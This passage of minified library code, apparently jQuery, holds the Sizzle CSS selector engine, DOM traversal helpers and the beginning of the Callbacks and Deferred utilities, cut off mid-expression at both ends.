RegExp("^"+M+"*,"+M+"*"),z=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+$),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ne=function(e,t,n){var r="0x"+t-65536;return r!=r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(m.childNodes),m.childNodes),t[m.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&((e?e.ownerDocument||e:m)!==C&&T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!A[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&U.test(t)){(s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=k),o=(l=h(t)).length;while(o--)l[o]="#"+s+" "+xe(l[o]);c=l.join(","),f=ee.test(t)&&ye(e.parentNode)||e}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){A(t,!0)}finally{s===k&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[k]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:m;return r!==C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),m!==C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=k,!C.getElementsByName||!C.getElementsByName(k).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+k+"-]").length||v.push("~="),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+k+"+*").length||v.push(".#.+[+~]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",$)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e===C||e.ownerDocument===m&&y(m,e)?-1:t===C||t.ownerDocument===m&&y(m,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===C?-1:t===C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]===m?-1:s[r]===m?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if((e.ownerDocument||e)!==C&&T(e),d.matchesSelector&&E&&!A[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){A(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument||e)!==C&&T(e),y(e,t)},se.attr=function(e,t){(e.ownerDocument||e)!==C&&T(e);var n=b.attrHandle[t.toLowerCase()],r=n&&j.call(b.attrHandle,t.toLowerCase())?n(e,t,!E):void 0;return void 0!==r?r:d.attributes||!E?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},se.escape=function(e){return(e+"").replace(re,ie)},se.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},se.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!d.detectDuplicates,u=!d.sortStable&&e.slice(0),e.sort(D),l){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)e.splice(n[r],1)}return u=null,e},o=se.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else while(t=e[r++])n+=o(t);return n},(b=se.selectors={cacheLength:50,createPseudo:le,match:G,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=p[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&p(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(F," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(h,e,t,g,v){var y="nth"!==h.slice(0,3),m="last"!==h.slice(-4),x="of-type"===e;return 1===g&&0===v?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=y!==m?"nextSibling":"previousSibling",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[k]||(a[k]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===S&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[S,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[k]||(a[k]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===S&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[k]||(a[k]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[S,d]),a===e))break;return(d-=v)===g||d%g==0&&0<=d/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||se.error("unsupported pseudo: "+e);return a[k]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?le(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=P(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:le(function(e){var r=[],i=[],s=f(e.replace(B,"$1"));return s[k]?le(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:le(function(t){return function(e){return 0<se(t,e).length}}),contains:le(function(t){return t=t.replace(te,ne),function(e){return-1<(e.textContent||o(e)).indexOf(t)}}),lang:le(function(n){return V.test(n||"")||se.error("unsupported lang: "+n),n=n.replace(te,ne).toLowerCase(),function(e){var t;do{if(t=E?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===a},focus:function(e){return e===C.activeElement&&(!C.hasFocus||C.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ve(function(){return[0]}),last:ve(function(e,t){return[t-1]}),eq:ve(function(e,t,n){return[n<0?n+t:n]}),even:ve(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ve(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ve(function(e,t,n){for(var r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:ve(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=he(e);function me(){}function xe(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function be(s,e,t){var u=e.dir,l=e.next,c=l||u,f=t&&"parentNode"===c,p=r++;return e.first?function(e,t,n){while(e=e[u])if(1===e.nodeType||f)return s(e,t,n);return!1}:function(e,t,n){var r,i,o,a=[S,p];if(n){while(e=e[u])if((1===e.nodeType||f)&&s(e,t,n))return!0}else while(e=e[u])if(1===e.nodeType||f)if(i=(o=e[k]||(e[k]={}))[e.uniqueID]||(o[e.uniqueID]={}),l&&l===e.nodeName.toLowerCase())e=e[u]||e;else{if((r=i[c])&&r[0]===S&&r[1]===p)return a[2]=r[2];if((i[c]=a)[2]=s(e,t,n))return!0}return!1}}function we(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Te(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Ce(d,h,g,v,y,e){return v&&!v[k]&&(v=Ce(v)),y&&!y[k]&&(y=Ce(y,e)),le(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)se(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),f=!d||!e&&h?c:Te(c,s,d,n,r),p=g?y||(e?d:l||v)?[]:t:f;if(g&&g(f,p,n,r),v){i=Te(p,u),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(y||d){if(y){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);y(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=y?P(e,a):s[o])&&(e[i]=!(t[i]=a))}}else p=Te(p===t?p.splice(l,p.length):p),y?y(null,t,p,r):H.apply(t,p)})}function Ee(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=be(function(e){return e===i},a,!0),l=be(function(e){return-1<P(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!==w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[be(we(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[k]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return Ce(1<s&&we(c),1<s&&xe(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(B,"$1"),t,s<n&&Ee(e.slice(s,n)),n<r&&Ee(e=e.slice(n)),n<r&&xe(e))}c.push(t)}return we(c)}return me.prototype=b.filters=b.pseudos,b.setFilters=new me,h=se.tokenize=function(e,t){var n,r,i,o,a,s,u,l=x[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=_.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace(B," ")}),a=a.slice(n.length)),b.filter)!(r=G[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?se.error(e):x(e,s).slice(0)},f=se.compile=function(e,t){var n,v,y,m,x,r,i=[],o=[],a=N[e+" "];if(!a){t||(t=h(e)),n=t.length;while(n--)(a=Ee(t[n]))[k]?i.push(a):o.push(a);(a=N(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=S+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t===C||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument===C||(T(o),n=!E);while(s=v[a++])if(s(o,t||C,n)){r.push(o);break}i&&(S=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=q.call(r));f=Te(f)}H.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&se.uniqueSort(r)}return i&&(S=h,w=p),c},m?le(r):r))).selector=e}return a},g=se.select=function(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&h(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&E&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(te,ne),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=G.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(te,ne),ee.test(o[0].type)&&ye(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&xe(o)))return H.apply(n,r),n;break}}}return(l||f(e,c))(r,t,!E,n,!t||ee.test(e)&&ye(t.parentNode)||t),n},d.sortStable=k.split("").sort(D).join("")===k,d.detectDuplicates=!!l,T(),d.sortDetached=ce(function(e){return 1&e.compareDocumentPosition(C.createElement("fieldset"))}),ce(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),d.attributes&&ce(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||fe("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ce(function(e){return null==e.getAttribute("disabled")})||fe(R,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),se}(C);k.find=h,k.expr=h.selectors,k.expr[":"]=k.expr.pseudos,k.uniqueSort=k.unique=h.uniqueSort,k.text=h.getText,k.isXMLDoc=h.isXML,k.contains=h.contains,k.escapeSelector=h.escape;var T=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&k(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},N=k.expr.match.needsContext;function A(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var D=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?k.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?k.grep(e,function(e){return e===n!==r}):"string"!=typeof n?k.grep(e,function(e){return-1<i.call(n,e)!==r}):k.filter(n,e,r)}k.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?k.find.matchesSelector(r,e)?[r]:[]:k.find.matches(e,k.grep(t,function(e){return 1===e.nodeType}))},k.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(k(e).filter(function(){for(t=0;t<r;t++)if(k.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)k.find(e,i[t],n);return 1<r?k.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&N.test(e)?k(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(k.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:L.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof k?t[0]:t,k.merge(this,k.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),D.test(r[1])&&k.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(k):k.makeArray(e,this)}).prototype=k.fn,q=k(E);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}k.fn.extend({has:function(e){var t=k(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(k.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&k(e);if(!N.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&k.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?k.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?i.call(k(e),this[0]):i.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(k.uniqueSort(k.merge(this.get(),k(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),k.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return T(e,"parentNode")},parentsUntil:function(e,t,n){return T(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return T(e,"nextSibling")},prevAll:function(e){return T(e,"previousSibling")},nextUntil:function(e,t,n){return T(e,"nextSibling",n)},prevUntil:function(e,t,n){return T(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return"undefined"!=typeof e.contentDocument?e.contentDocument:(A(e,"template")&&(e=e.content||e),k.merge([],e.childNodes))}},function(r,i){k.fn[r]=function(e,t){var n=k.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=k.filter(t,n)),1<this.length&&(O[r]||k.uniqueSort(n),H.test(r)&&n.reverse()),this.pushStack(n)}});var R=/[^\x20\t\r\n\f]+/g;function M(e){return e}function I(e){throw e}function W(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}k.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},k.each(e.match(R)||[],function(e,t){n[t]=!0}),n):k.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){k.each(e,function(e,t){m(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return k.each(arguments,function(e,t){var n;while(-1<(n=k.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<k.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},k.extend({Deferred:function(e){var o=[["notify","progress",k.Callbacks("memory"),k.Callbacks("memory"),2],["resolve","done",k.Callbacks("once memory"),k.Callbacks("once memory"),0,"resolved"],["reject","fail",k.Callbacks("once memory"),k.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return k.Deferred(function(r){k.each(o,function(e,t){var n=m(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&m(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,m(t)?s?t.call(e,l(u,o,M,s),l(u,o,I,s)):(u++,t.call(e,l(u,o,M,s),l(u,o,I,s),l(u,o,M,o.notifyWith))):(a!==M&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){k.Deferred.exceptionHook&&k.Deferred.exceptionHook(e,t.stackTrace),u<=i+1&&(a!==I&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(k.Deferred.getStackHook&&(t.stackTrace=k.Deferred.getStackHook()),C.setTimeout(t))}}return k.Deferred(function(e){o[0][3].add(l(0,e,m(r)?r:M,e.notifyWith)),o[1][3].add(l(0,e,m(t)?t:M)),o[2][3].add(l(0,e,m(n)?n:I))}).promise()},promise:function(e){return null!=e?k.extend(e,a):a}},s={};return k.each(o,function(e,t){var 